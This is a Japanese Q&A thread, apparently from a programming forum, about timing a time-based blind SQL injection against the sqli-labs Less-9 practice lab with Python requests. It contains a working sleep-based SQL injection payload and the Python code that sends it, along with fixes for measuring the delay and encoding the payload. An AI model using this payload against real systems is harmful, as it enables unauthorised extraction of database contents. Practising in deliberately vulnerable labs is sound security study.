WebアプリケーションからのHTTP応答に人為的な遅延を引き起こそうとしています(これはブラインドSQLインジェクションを行うために使用される手法です)。以下のHTTPリクエストがブラウザーから送信された場合、Webサーバーからの応答は3秒後に返されます(sleep(3)が原因):
http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+
Python 2.7リクエストライブラリを使用して同じことを実行しようとしています。コードは次のとおりです。
import requests
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip
ラウンドトリップは3秒であると予想していましたが、代わりに0.001371、0.001616、0.002228などの値を取得しています。経過した属性を適切に使用していませんか?
elapsed は、完全な応答が転送されるまでではなく、要求を送信してから応答headersの解析を終了するまでの時間を測定します。
その時間を測定したい場合は、自分で測定する必要があります。
import requests
import time
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip
私のペイロードは
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}
元のペイロードの最後の文字「+」がバックエンドデータベースに渡されているため、SQL構文が無効になります。ペイロードで手動のエンコードを行うべきではありませんでした。